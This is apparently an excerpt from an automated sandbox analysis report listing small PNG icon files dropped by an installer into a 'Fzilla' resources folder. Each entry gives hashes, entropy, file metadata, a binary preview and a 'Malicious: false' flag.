Preview:	.PNG........IHDR... ... .....szz.....IDATx.....4M.........m...l.S.q.m.m.}6.....\oF..-....VM...^...O\|....o...R..s.QgS..M...I......R.o.(z......O~.....v.m.I.0..!.{...l.[....\|.3.8....1...w.x.........+...Q.n...k..jl..Xg.Jq.9....=.../..].Mar..)q...~..}.G....%..T.V<.!7......_@..W...\.f0.....s......J....hE1...8.@..=>.\>.{..e...N.n../.....z..,.,@H_.@s..\t.$..%........x.....8.....w.'.$ .5..:I..+.:.Y..z\|......c...,...+.4{. ...si.iE...._1z={......Z..T...,h0N...%j!v.H.w..3%.W..H`.. .#1...av:..p.\|!..N....N.Y....y7r.=.d.T...s._.K....mp0`\|4O!.24.X:...bfF.}..Y!ez.N..;....f.j..1V...i}....h..G...\.p..e.!..JE........eWL...E6QC7.N..Eqz..T....)...[W..yz....'...Y.Z.&..J]...q...+.-7.f+.0Xqd..L^.}.g..id..G...$..@..d.d..F'z..Y.-q.!...g..\z^99.....;..........l....=Y..Q.4x.k.2....Pp.....q.....bz..o....^s...].29..O;O'.T...;o(q..#h4..f.BQoIByX....!h...#U..........{F.n...].s....w .....t.m{......%/U0r..n.!.lF....=UP!J.(...5H.....3..Z..@.?%..j.....7..9v2.. c..h..!gU....n:.6

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-J8CMP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	508
Entropy (8bit):	7.450638491357663
Encrypted:	false
SSDEEP:	12:6v/7ijEDTbtWGwTa70cV33FItF5QirGBrTqgjsfvhSQ+:90sTWnFEDGdOmS5Sf
MD5:	14D993A7709C9E5114A01AAAB315493D
SHA1:	58FF2E58A01AED53205829D14E013891E67691D0
SHA-256:	FB7DFFEE4A53DCAFB847B983015483198446B5844EC700D7DBF9C47209141A95
SHA-512:	76BC3A90F205A31F798CD98A9A9C0A71DC286B67D90B6C178A5D9329CB05B1622BBBF2BB6A9157C04C42B009B81694C094F19235BAC17763E9BA58C77D26D086
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....\A.E.....j3...m.6b.1k.u..m..m....emU{..\|.....U.....Q....J..E...}_6o.b.y...@.k.?.,...S...Q0>..C..R...5e{...5..G..VB..3yS.t.............(.......<A...v(0.!X2g,...c.....!.M..!j...J.D@b..c...'...a... !.. ...s...9...9....}..O......q..4....{.[$.A.S...9..!.iu......{...!.1..."..D!.$....w8}.yN..b.-f./.a4p.ok....95..=7+{......s..Vl~\|ze#. @]r.).Vlc...R.:.....J. .....{....eMh..Z...$.Z.....U.I...km.y..0..3.f....8.j.3.A....@.~K.J#.].)....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-JIAUD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2045
Entropy (8bit):	7.895687206217452
Encrypted:	false
SSDEEP:	48:OBS2RHIZj4IgsrW4V+d8HSErk9H4HetAYBd5GTUFJdqvgO:Os2RMvgsK2pHSP9H4SfyTUlqvgO
MD5:	EA15E0D9E67BA036C4583AA35E840538
SHA1:	15DD3E2CEE29F34787CED98288557334FDE46BE5
SHA-256:	A71C00264D99FCF1A1BCC2BCDB5B0F3B8CC7AE3EBB387C4D88B8432EE5CABE1F
SHA-512:	0D06971C3C66A6FAFFDB35CBE937580986288FF505EFDB3A0B13AABBF36E1BBD9102F815D20F0834732C849A4720B47F686995E80BE073F865EA4056EF6D3676
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...T.Y..wU..C.#....=.......g.....{\.g....+.#..Mk.w....w.oU....9e4.6..?....2.....=1.-1-.p...m....O....mlR.}D...-.Mc...c\|.;g=?...7o..g.=V.Z....wL.yg..zK....~.~.l.S.OL+.;u....<V.....s"..v_.27?..~..7....0uQ.}........E.......'?a.....=.My.Svw..6k.Av+_.9z......[b."^..!..P.II..j....Z.x..Af...W.1{.A.<.....P......d...s...!.=.EG..."e.f..M'...:...Hr..=....1v`....3[-&,.z..L[..g.`2.a...u....`&.^..#o.....@._.{.y...5.......S....68..!...[......nU...LM...d...4....a..CbB..6..C..F#.=.....K.E..\|...&....=F..._.C.....VH....{t(>N...O% ..~.<...C.2$_....[..Q....4..Or/...L..a.u.q2;.sV.....t.:.......Gt.1.Z.d5.V?.}.G#..}./q..jP..>.p...k.y\.n..%...L.p..@..I..p.M........G'..#&a4.O...j...o............0o.Q0..M.h.z.......H...F.Zq"3../......ps....O..S_`......xb..,...%-.j....87'..g..!......rO..)..]..B.v..D.U..\..W.L......FQ.K.\|&......]..CN.S...\C.7.TT......Z7........bi...x.*..[.c.6.y....j....y#.y..j._....2..Zu"..URQ.U7.. ..)..

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-K0H9N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	508
Entropy (8bit):	7.450638491357663
Encrypted:	false
SSDEEP:	12:6v/7ijEDTbtWGwTa70cV33FItF5QirGBrTqgjsfvhSQ+:90sTWnFEDGdOmS5Sf
MD5:	14D993A7709C9E5114A01AAAB315493D
SHA1:	58FF2E58A01AED53205829D14E013891E67691D0
SHA-256:	FB7DFFEE4A53DCAFB847B983015483198446B5844EC700D7DBF9C47209141A95
SHA-512:	76BC3A90F205A31F798CD98A9A9C0A71DC286B67D90B6C178A5D9329CB05B1622BBBF2BB6A9157C04C42B009B81694C094F19235BAC17763E9BA58C77D26D086
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....\A.E.....j3...m.6b.1k.u..m..m....emU{..\|.....U.....Q....J..E...}_6o.b.y...@.k.?.,...S...Q0>..C..R...5e{...5..G..VB..3yS.t.............(.......<A...v(0.!X2g,...c.....!.M..!j...J.D@b..c...'...a... !.. ...s...9...9....}..O......q..4....{.[$.A.S...9..!.iu......{...!.1..."..D!.$....w8}.yN..b.-f./.a4p.ok....95..=7+{......s..Vl~\|ze#. @]r.).Vlc...R.:.....J. .....{....eMh..Z...$.Z.....U.I...km.y..0..3.f....8.j.3.A....@.~K.J#.].)....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-K207Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.745181227936584
Encrypted:	false
SSDEEP:	24:YQBF/55BRU+11tGtrUUV9ekFc3lw14nBQAwfO1Gt1TdQQIQ6gya/7WV5UF9Gn:YQD/vR11w1UUV9eBlS4BfQHQQIQ6E/7s
MD5:	147C19751CD71C957E0E8FE38179A361
SHA1:	F1D315FAF9927056980E5A7E4CA72B64A2B9631E
SHA-256:	BB3C41D5E5B5A3105C7721BEEDB804A220135A4F847E81515BCD3942B058EFCE
SHA-512:	218452B00524069F49F58BF43DC65C2A75C5D9EE1BE5449A9962E67944465B013EBFEEDC7B780E0D1990CBD22E6CE501DEB1A43D29090E5B48F1957556CFBC32
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..c`-9..O.I;.m..[.k.F..m.m.m...6....X<.......uim...m.....(:/.Q.5~.[.....C'.E9..R..E.7.4{_....p..Ubx+..[g.7v....(......[.{.O.[t\|.a.G.o.{.S.-.0.2....z.....S..g.....1h..../......E...9p...1^._k..T.Z+..4..3..H.. ..ZW....H..E.{.......?PZB).............8..o^(.....G.c5./n.....6.....Z...r.ly.....a........d.....ro.....-.....#.g.....!....b.2......p...Z....(....5...r.J....W..&.>@..8((".=.A.4.@.{.......6.dT.{G..T.G~..g.7.....{..J.'.q.53Dd...DE+..AI.....`HqcC.....J....Z.uh.VC.8..pF..K......BS..q..f.6...4.0H.i.........G..o..../....Q...}..)...$b.$.P....%...$.B).H...P.D$....j...?$ .Zrt...<..5..%i.G...x.2.....Q.$H. .4.......:.~H.\.nH.X...w<..W.........@.........h...$.....A....gik.R.G...Ff!.M....u...^.s..5O...X....e.......[....N4.js)..uT5\|'....]\.X.[..6...O.k..A...s/?..T..b..%.s....?.W......WM/.0...e8..S.:..@8.!.x.]...+ ,..$n.....~.......i.;...Z...V(T...6....lr.......N.<..#ca....v.......+.p.d{...".......=...

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-KAUJ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.8489044757606194
Encrypted:	false
SSDEEP:	48:OtIbOcDexb9oPeSU4nwCd4IeQiK/Kn6kgCIXrrm3q2bJlxR58d6a2:OwEoSadgQxK6BzXrr/21FA2
MD5:	F92EB5774133689D728AF776337F0945
SHA1:	F66E00CA29940034BCBA79D4F0641CF4AD67D77B
SHA-256:	1E21712503290748CBFC1588A3746A74D4EDA5F846A2A8E0F3B8E313CF3A58DA
SHA-512:	E8D541389F30CBB44DBB46BB4BB2E0D066B2E6B77A804309DD5A2EFA2550B95F4BA9D4E0AA6784DAA1C49CA127381751E814733E97005B9D68FE5E02981C9E39
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....>IDATx.........E.^..w.m.m.m.....NG./IM....N...u..s+..[...G\|z......w.B..RV(%.....s.T..R\|+l...a....^.......\|jH:..2.Gje{...).Y>.%...!.B.............Nt4..#a......D..-(~P\89..Oc.QB..X.]........J..4d.+.L:........../.t1.Z~F(...tf$.8g?..t...2rO.2>....qG.6..F...\(............L~..../.r1....'.....-w........c@,...k~.q.8.....j.H...3.J.D.lAk ...PYe.0.`..&...[.-6>...~....{.r.^.......].1.w.../.._.&..~.^M.....t..^%&....p.....R. .B.~.....wP.8.x.....0-.H....b..Gv..?....W[i...4."qMS.@..H@.....G.]k>.Pw.u%.u......R.M/F/.XZ.pn....+0....:\|dj..._O..^-q.).[M&.M...C=3.;.>.Q.{V.{...S...~..\|..7....:.P..A........1.v.B..^j0.&..1.D#.s.H...k.Ho..?...._.3..9.,r...HE)A...@s..E.M7.i.3e...kY?.B..Z^J...L......s.f/... .....x.)...^.^...J.#..;=.%.."%.?.X.........-/....r......d0.^....5q....[..q...a.ne.z.C..,.%....H."H..e..E.C..8......._.,.%....gB.(...k..sHIs..).S.z`.j....0+.P....s{.....,............G....P.<..6. .?..+.......@.j..b....

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-KBBL3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2369
Entropy (8bit):	7.906022399828481
Encrypted:	false
SSDEEP:	48:s0Tp5Cnc8PDfuKl9LEYXJLMjTSul+oosPybA8alGeW+A+Smsk:sKQc8bdEOMjxE1sPVtwuBsk
MD5:	16F29DF276C6E99038EF268CA5BE85BD
SHA1:	93CB8D20DD2721585F9B0DEA037E57C5D56E2BFD
SHA-256:	73CCD2E0ADC992E762126B1411147C4B310A2428587098DA49210BF78C3FCD86
SHA-512:	4CA7E870AB96F1125B4CF9E7D5ED587C30D34FD80BFD4AA7B0B497996B91A418D4E87466D1A7FBEEB6B8135A4F12BE244FDC84EBF7C6FE1F892A019A039BFE27
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx......i........N..F...8..3s1.....l....k....v..........g....N...h+...4.$....?@.[......iK.Y..j1...6<.5..!.,$.[D.n.U!.Uy...8.p...E,..j...D,BK4.i...2....HF...q..U.^B.(..>.i.XCm]..G.........[I.I...+.L.[m..S..ig1.~......[.A..eE...w.v.b..".d..?L.N..'...!.$.....'i..s/...lz...TPHB.\+.{.Z.X...5...s;..W..^!.J.....=.K..\|.....L.7.....9.?.....x.f.......9z........}..E..$!...K:..8..'._s...H.6..n...k?.9..lvJ..{.1GOU".......ut.#.=.....Q...%......z..x$...x.$......m..s..:y..A.....Pd..m...B......Ty8t.\7.@/.c..vp..q..$.........:x.}.\Z &M_L2.......7/....`8..M....N.....8)@S... .#A_.o..qE"........-'.c..>..3.,.T.,.F @.....,.A.`4(..F".8j".h.......g........HE..r%...!............@,.......n.6#5..Z....c.?r..:?RR...q.%...M....K-....{....k..N.UCs.VV{.......pIQ.B.\|..:.fdp.es.E%....5.....yl..R...d....H.#X,.IU...C....G.0x.a$I.?..(-.G..r..@iI.6.Qv{...,)....c...Y.p9.M..t...j...d.4u..n.g4...y*j.F!&L]X..j...V........9.Eqi....(

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-KQ6QF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	7.827872038681461
Encrypted:	false
SSDEEP:	24:Ki4VOXeL64iWmLh0MUcKEw2lCJppyfu3QA8OG6yLXDO8R6uOPwQfH98qADCK/OcK:wVOuL3BMRi00ppyf0ydDZcuOPLfHwehf
MD5:	DF82DC8672F50E7C523E90B0E84188F1
SHA1:	90235C8EEEFE25A534EC07EC5C45B7496FB998DA
SHA-256:	F629CF6AAB12FE6850F1D120637A9ACCC6D0D759C8330D1969DE71A5D1DDF81A
SHA-512:	D096206DF48E5257CD846ECD51C3498454FC46CA007257CDB7E1E2C1A63CEBDA0F39A1BBD4D53E13829623C163204C3044723960B2942761E712E3AEB6F2E378
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..,I.=..<.m...mDk;v~...U...\|....iT..d.vgv....S.V_...?..7a.^..`..7..^..J....p.n...v.R.Q..{..&.s..9m.....fl....[...a..eA...FH.P....c.@....4;.#OQ....$...#..K{0.;.}...Y.f=>L.~..y.....j.t.m.0..\|a.w.........e.......<>...b....\|.L9...f...T...k..#M.}.[..e...@8...rp..d.\|-..k......%%...+b,0..O..B......o...s.S..A..i\q..8..0...J..J....^.....%N...G!.`...6...D2E..1........p.]...y..).=.A(1S(b$eL.^..@@TS.(.BN...........?.L..B.bk..V..@.ZE/..6.@.-x...X................A.,....(.80.a[..^..rC.J..E..j..?~8.j...R..J:.pL.r...d}V..$.na..e....7.S.P@.TspI..%.j.>.J)....n........N..`....=S..s...J.JJ...=^n-o......$ F.......-_..[.....5.Y0Pi....8.I........".}.+..i.........D.......YU.D...g..4B.....d7. 6.!..9..qG..s[.B.v .]t"%..$.J.Xe........>L.6 ......D(.=.i.z......VmB.........8..B............Cc.wyb1.......~...;......s7.x..Gx....Al..J..1...... N.{.{.w.9e.zq.'.q.p...%Kt[&I..........jb.(.1L..._o.?.~.r.R..).......7n.s.3u

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-MEP3J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	7.772299499383635
Encrypted:	false
SSDEEP:	24:+Ac4u5OORqWoGfn3rETFhIMNWkKWPxlFG9BUG+W1HYF0QTz:+AduNPoGfn3rtSjKWPxG95dHC0QTz
MD5:	30AEB749D4F4AF4F557B4AC3CD23D456
SHA1:	5C6EE30CD6B10920854C2A423069D04CBCADEEBE
SHA-256:	DD79518BA7FD89DE6E00F6E25F6FA12C158D316A922498BB0E77232213BA8606
SHA-512:	DAF8FE7E70C3E851D84D35C567D7DEC4130F2910CA2F1BE5C005B206FEE428B543D24E945980183FF896FDD9874EB2DFBD3D256E191CBDC36BADACC45701C6C8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....:IDATx..U..lI.=...}..m..Fk.k.........m...t..j.t....8..WJ.S....lmh.......E.X.....i..>....&.@....J..$IR.q.~9.$\|....V.3.....(..........%A....R,......@....Q...<C)...1U.{.......$.}y]O....V..sozz:/H.e.d....B.P.7o....H..b..4.....wn.p.:e.Taxx...L.$..)[..t...K.}M...l...j..r..a...8Q...h}f...>a.jX..l.v.m..u.Y....\U..?%l&P.f?y...~.8.Z-U==;.KN=.......8.......?.f......4..T.U@1o..I.S..6...d..3T.6/G~id<.9...Fz...Q...........&)i?..........97..f.H.....S]~.2.w.~8..EP.. ...^.... .V..D.^..2.M.A.f..-......v...=i.....=(...~.....~..\|z.....y l(B..0.,.`.8.E8`...n.Cb........~..y...$..C...(......aiY6....t...{..N=pA*..#YV..G...?U..weH...K.......!.fq.E...E..>q...mA....c....s.n.X0b...&.r.T.e..8.....M.u..".......Cl...'p..K1Z4zj{u...../&!.p...F... .<z..0L.HO....`.'...@.......)....es.4)....lX.W8..."x..Y%.Rd....s....QI...~....i8!.A..E.1$.A..\...\.U=...RBW.X^.I=.%\.....M'Bw!yA...u.....f....'.).P.#.x..L.d...."..^(...A.m...Q?..O..~..!#.....KF...0.1t'.n.x

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-OSP9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	705
Entropy (8bit):	7.6142119172828835
Encrypted:	false
SSDEEP:	12:6v/7dB7Ttvk4pFdbln3KtVwUaNtbDjIlK+btMzkq5MptYtPPNZeNx9sLN637YGC:WfzndblnGVwtgfbizk8EevZe9pK
MD5:	F697FA0215B9CF824C67F6874E4EE0A7
SHA1:	7AADAB5517232455F3B6E4E8F642DCD043DCADD9
SHA-256:	327D5965F0815CE72C2294D69CB9671CE2438C474D770F4715F94AED7863C185
SHA-512:	E962C771C96893027C9D6820FB594BA4541D1A5A5200CBBF6BB99C3C51E07FD50D6B026ED19AFD6549F02D3C39633F2FE9FA243ED0D6CB900788BBC8A21A9732
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx...S..F.@..$Y..k.O..)j..T....{m...n..).vc...d..K.p...5.\.Q..{..W.....^.W.Z.T.-...c..R..D^..3. .@r.5..D..V.kDIv....AT..../.Z.....$._. ..].~YP.3.OeP.G..+.~..-h...#..x.8B..UB#.4.~...$.:B.h.di.....w.}..j.8U...YZB@...T..\'n..S..r...$.q.Q+Un...}.....k.Sl.>_..aP.r.m..o...K...}..:.S..j....{..........d&.}.n.....w.".... .[./.].......[`Cs..kl.b.......S..A.....a.m.I2Af..;.i<...O....}.gKw....`.^A...3...b...l:....G.}3...##.0.Ya..:.@...>G;.^....u...?C......g...'r.z.tgx_.S.T...X.[Kn. .9..@Z........z0.i..M.(./...uh.#F..v.....zg./...\|`.....{......:..Zp...N..ce..W/.@.5M..f.b..9..].t~}.2u.c.._7._.s.y....].u.$.n.zt.3Sx.S.F.../..WK.../......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-QK1Q9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.76197553556176
Encrypted:	false
SSDEEP:	24:5Hoo09A8o2aUoSfW+kvL0MM2j1FoJ3ojxMP3UyWGZ4LrgnuZ:Gooo9x8XM8JkyP74L2M
MD5:	25BC7296E2F6E9BBC20F50A0ED45D8EC
SHA1:	2807BB2019D2A5F04A254B18D29E439DC75E06C8
SHA-256:	76BBE1F83A136633E30FCFF0A47AE88CA4D149A595FF8320AE47A53722EFD408
SHA-512:	276F503054E2B4E8F6369111A5421C717A36EAF7E8CEFCD815BA61E151D0D8C13F72BBFA08622ACBE589F6400705DAE3C81DF68AD748F28962EA2D5E659CB641
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....-IDATx.....H..Ow..?.6.m.6.m.m.m.......6...g....7.._.yQ.J...n..=.....d..Co....@.+..W..-.~....!..M(.........S'@).S.....;..(C.X{cU..S.....Kqy...w..U&..e.-....4...0...._.....k.#W.\|sn.F{.)..K8..H$...?....g.I...'KQ..P..gu1.....~...Q`..@.w.A..PP.B.....NJt.:0....9..G...(....Y9.\.m.r..O.i...#=.5......-.o$`.J..sp!<.N...y.w\.p.\9..6m..M7V...he..E.`..a6.n..~...=`.ypU... ..u.+.LB..%.W...p&#m.....".Bp.f..f..T..q..[V....9.q.<...}8vq.....[..7..2K.ly'.Z..:.W.9...((..&..R....p....y....8c.".pb.~..{.^{......n...[..}4....}...a..\. \..\...C.Y......2..?p.! 8.Bl?..%.J.4..}../....fPh:.P.... .=...<..@..e..A..%1bz..Kg;z.....E@....oBUJ.oN...& .%.d.u....b...H8...l.......#...DS.`.......d2r....`.=...^8,..<..Q.?.!........}?.".AVB.YG:.q-.:_y2...9......[..9..}..J.U..Te.^..@..M.L.?... .\|.\...n..c......:.}s.4B...j<../m.f...... .U... .....*f......<v.u....k.......#X".\.<\.V!%..e..e.U9...Q1xj.......y...,..0..4.J..&o&.p}...n.Zw.....o..v.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-R44TD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	897
Entropy (8bit):	7.654133347326965
Encrypted:	false
SSDEEP:	24:O7NXAgTnzyVliOj2ad97pU5yHokRWvvmiqJ60Dts9:O6gTzwUq9KEQHq7S
MD5:	75AC6E3542D2AD79179B69131439D52C
SHA1:	AEA820ABBDA79A5598971B64B224FAE3A2664E49
SHA-256:	D882B522556E723C2231F434F1DA9A1829DED713A59969F6925D86B5099A00BA
SHA-512:	6883821C32944892CD8E4D3F5FBB3572EEDF7108946CB6AB27A3C5AC3E8A8321AC44F4D98F96020D96C96A932FA0B3D107037D9C162898F2D13F7BF940BFDBE9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....HIDATx..T..,G.=3.z.q.[..N.m...e;.m.N.qR....Uo....v.:.f....v.s..._B....x..o .[..qu+..Q..A..I)....+?.@..PJ.h."7.....P.9...G..koo.....H.1{.u.JB...c.....ec.o...T.]]]8.._~.e...r.wN...2a..........".....7n..G".@&...a....e.D........O...MO.z....C.b0\|.p.=1..{.\|.UW._....<Sz...X.p.G.1...N.>.:.l.!0j.(.8p...m..[n..o..._.p3.....[=......a.F..E(..J.8.......J.i,... ...?.O..AKG..t.....D..;.......T....c...=.LL...J..s.8p W....+'t.....-.....FK..o.FD.UAr...S-..9...I.....x...t...a.B...@rue..1s.?.&y q.!`\|.M..]..n.&].L..{`.%y.z{..{...Jr.G..G..y?Q,J.3..Bj...Y..i}.....AD......;.t...L.G.y....+.2.P.L...7K.s_}..x..H)..<.....-.@..~.....3...z.7..%?.yi....y..^."..`.-..}...#.+.c..j+...H(..z.Q.......1I............4....X....{'..A...L.z.JJ..i........@...Q......v...<p3...#.\|....`b.z..r..-.....@..Z.d......v-....:z...UN...:..._......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-UM1AD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2003
Entropy (8bit):	7.887061191090399
Encrypted:	false
SSDEEP:	48:O4KNT2N0n/2t1NlFHTtp5NPj3Gbhfyb5pMFOnN:O4Z6uNfKtdFOnN
MD5:	3A4BA1F439585373A7292EBBC37D73A7
SHA1:	26C39B91D8EE1A3FDE0A86E767E05B53119FFFC3
SHA-256:	65F2A8D3629FC46A60934580A3A03AB04FEC6D82F6E681F6267EC6FE7FBE5D3B
SHA-512:	9DC0C5402C23F6EEDC2FEC675051A9719D5A3FD7CDCA40089EB29DA106B7D30F6C66E419C01220CE0232FB2C4CC7666718DDF03AC8E677FC46FEF95C06E40F40
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..+k...F&.8c\..m.m...zk........{O.....O.V.............&..o.Q...H..sq=..y..Y....e.........U.w.}W.J...l..]..jkk.`0.. (C.F...Z[[........ccc..;..Y...~..V.8.sf.E.h.b.."D..8.#Q.U....)...={...-..,y..G..i....^?x.5. ......O.......t.N.N...T..W.W3{.Z...g.}F...L&3..'....~.aQ2.....p........".e......e4hc.Dc......u../.i.~...s.v+.:tH...F8.4......q..W)..92J.~..#......{.<.mf...............h.P...up.-.....#.O[.l.........#..h..I.7.=....v.{..hvE%..s...T.`^...........z-.....&......AW.......~.M.....6l...].R4.... ng/_.\M.ao4.IW.d....WT..4..c.F.l.1.....5...../._.\|..o..wIv.......]H...@.WVVF.x.~.....i.Y6.nS\..d...tVJ.2%.(..Kr...c.P,.DedJ...oon.).RQQ.....Vh4..........Sm..Y@....Og.XV....K2).6........E.6......d.Z.X6.$.e..M&....Fm.H..D..C...'Q..XF.L.L...P+1. .%.A.D....I.t:.....\.W..[y&...s2^e!:.q.. .dJ!,.NW.......c.1U.... ME.#8dWJ..c.h.......i.(...8.O..%.h.{4...5......#B$<.EU$.]DI.08......E...j..:<Qg.P..c...kH/.L"..'.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-V3LP9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.861944592233901
Encrypted:	false
SSDEEP:	24:zKjtkzp5u9o/HSOWd1iUs1agtl61RQFRjz62XHzEcJjmu2daaiRL3jraC/ANUxuM:GR0PuAAgPaSzZXgkmu2ViR7Hh/AuoS8U
MD5:	AC127241B96FC12E91D636E0AAC4C262
SHA1:	9729CB3AE4A32949291F2DD1187B8A14CFD01311
SHA-256:	86D17932B8ED7339D8086BD73540D223B5982B2395276BC2012ADF6A8E1C154A
SHA-512:	3990A4F6D76804F38C4FD23D20CA14D2966AF54E5032C5081D5E8715EF50254F53B8B20F73412F10B71E4083E05206A97888D476A859A59E00F4350F7148BF42
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W.t;.....mj.m.m.m......2e.d..ngO..V...3.>.).b...=........&...&.WT..t...`.c.4....[.<....DC....>...`\|3..k...?...t8.......s..&To..~..L$.}.....xj\|..ml\|...\|.WrA:FD`D..[.O>.D;:..........?u.7..u.X.f..$.N..."..FTn.)~..LGW.c...T...\......_.$9.k.B..a..U.a."1"b....._dzzz...<ls).[....9.....Ph.X@.^..qo.{F.U.......{...!L....oojiy."_....H..2.....Px.J\|W..a.~g..Huwc(.........}r.......]M....r.uj\|..'9.LQPO/R...r.p..........FkY.CD...C.(.;.d....y.......x..n..-..^.. .kh@.=. ..~.\p..8.l.#...G9.~..;.<.......+QlqF.Bp.g.......D.!N....jo...`f0h...}w....h....ojU.e$..z+d...9.H......Ok....Q....MG.......k...C.e..=.......cJ...)z.y..8%.A.s.a].g...g....... ..}.... ....._r...R...0...O6..._D'...."."......_F..o..........k ....1.J....K."N....o..x..wG3..zAl.g$..s..c=..b..qG..z.\|.....K.....4B..... @.s.......Q..@.yg...[a......b....h..q.. 4.....IE....u...\|.=.e..o..`l..2'....p-.5.yz-..0.."..B;%.\|..k7..U....B....D..S..y.u.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\is-VR8L9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.674515518232267
Encrypted:	false
SSDEEP:	12:6v/7io71NtFbCbQYTAjU3h56KlgpaS09JqDqanFSKXI2YdZVrCWDCBe3nsCtIqIj:4FkEmeyeZ09IHI2YdzWWGBe5u22Sebyc
MD5:	7E4E4E47715E5742A716D73B51891249
SHA1:	365D590DF03B95486DB196BB67A2222078CA4969
SHA-256:	7D2192A44C1BC190FE25A670C98F740DD9E41F303E877EE95E1A2D9D6BEA7D40
SHA-512:	72EEF61D460A740FD93E78A6BECC8738C2601355E738FBC80B4B6A2A4A1E2D9B0444E529C0379F721AF465543A8FCF5EDB54A903F4B7239A93427421661E2A60
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz...._IDATx.b.h0..a....=..Z.v#.../=....3cd.....NM?......bfL..x....s.v.+...U-....#).n.>...+q....mpD.n....n.i.c..Zk.........7.x.5......G.._..(...~...w.i....'.......Z..[>..SO=f....a.}7\/...<..."..a..].N\|.........p..16.R.o.A.&_..[o=...}%0..p..q.f..pt..ieY.!n...=7....c..d..h.....v....vd.\|LJ......N..w........?q.FA..../.w..l:..N/..'q....K..Q.....2..^....T...R.~7...'.g..-.O.`.....[...e.,H..%..I1@...R....& .@.K..9\...Zqq..JD.[......2y. <1n2..V+..s.R.....iM...Q.!/%4hX7...8..$... .....,.d..@VH@...:....:I.\.....ZX..'h..........g.,...q....b].=E.N...O5..8...G.V........s,+.A/@Z..1m..x....../.\..Y.....1.:.....RCi.....V..2..#.......^../0K..B..R....f../ k..;.X.!...._..W.F..AY....M.`%........T.?ar..?),W..4:...g.C......p.i........$ 